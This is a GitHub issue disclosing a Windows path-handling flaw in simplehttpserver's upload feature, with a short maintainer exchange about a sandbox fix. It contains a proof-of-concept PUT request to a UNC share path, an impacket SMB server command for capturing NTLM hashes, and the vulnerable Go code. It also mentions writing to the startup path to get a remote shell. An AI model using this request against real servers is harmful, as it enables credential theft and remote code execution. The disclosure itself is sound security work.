Skip to content

Security issue (windows) - Abuse --upload to steal NTLM-hash | fileWrite | RCE #34

Closed

Description

@laluka

Hello there,
First thing first, congratz for this awesome new tool that will definitely be used a lot and loved! 💟

Now the real thing!

Description

If someone uses simpleserver on windows (while would they anyway...), (built with GOOS=windows GOARCH=386 go build cmd/simplehttpserver/simplehttpserver.go), there is a way to abuse the --upload feature to write a file on a network share, and this way steal the user's ntlm hash.
This could then be cracked offline and used to gain access to the server.

Reproduction

The issue can be reproduced with the following request thrown against simpleserver, which will then reach our smb server (here impacket): python examples/smbserver.py -smb2support share /dev/shm

PUT /\\192.168.1.25\share HTTP/1.1
Host: 192.168.1.21:8000
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 6
Expect: 100-continue
Connection: close

dummy

image

Root cause & Mitigations

The path.Base function does not handle backslash, so some more sanitization should be added to take care of this.

image

The vulnerable code lives there:

err = handleUpload(path.Base(r.URL.Path), data)

func handleUpload(file string, data []byte) error {
return ioutil.WriteFile(file, data, 0655)
}

Happy patching, and have a nice day! 🌷

Activity

  1. ehsandeep commented on Apr 18, 2021

    @ehsandeep
    Member

    Thank you for reporting this @laluka with all the details, we will review this take the required action.

  2. laluka commented on Apr 18, 2021

    @laluka
    Author

    Update: It's in fact a one-shot file write, and leads (with a reboot) to a remote code execution.. 😨

    I won't put the whole details here, but it's also possible to write to windows' startup scripts path, and wait for a reboot to get a remote shell.. 🙃

    image

  3. linked a pull request that will close this issueAdding pseudo-sandbox mode #35on Apr 18, 2021
  4. changed the title [-]Security issue (windows) - Abuse `--upload` to steal NTLM-hash[/-] [+]Security issue (windows) - Abuse `--upload` to steal NTLM-hash | fileWrite | RCE[/+] on Apr 19, 2021
  5. added
    Type: EnhancementMost issues will probably ask for additions or changes.
    and removed
    Status: Review NeededThe issue has a PR attached to it which needs to be reviewed
    on Apr 24, 2021
  6. added
    Status: CompletedNothing further to be done with this issue. Awaiting to be closed.
    on Jun 27, 2021
  7. linked a pull request that will close this issuev0.0.4 Release #47on Jul 28, 2021
  8. ehsandeep commented on Jul 28, 2021

    @ehsandeep
    Member

    @laluka all the security features are enabled with -sandbox flag.

  9. laluka commented on Jul 28, 2021

    @laluka
    Author

    Nice!
    Is this flag a default behavior?
    I couldn't check yet, but a -no-sandbox flag with a default enabled sandbox would be preferable! :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

Status: CompletedNothing further to be done with this issue. Awaiting to be closed.Type: EnhancementMost issues will probably ask for additions or changes.

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions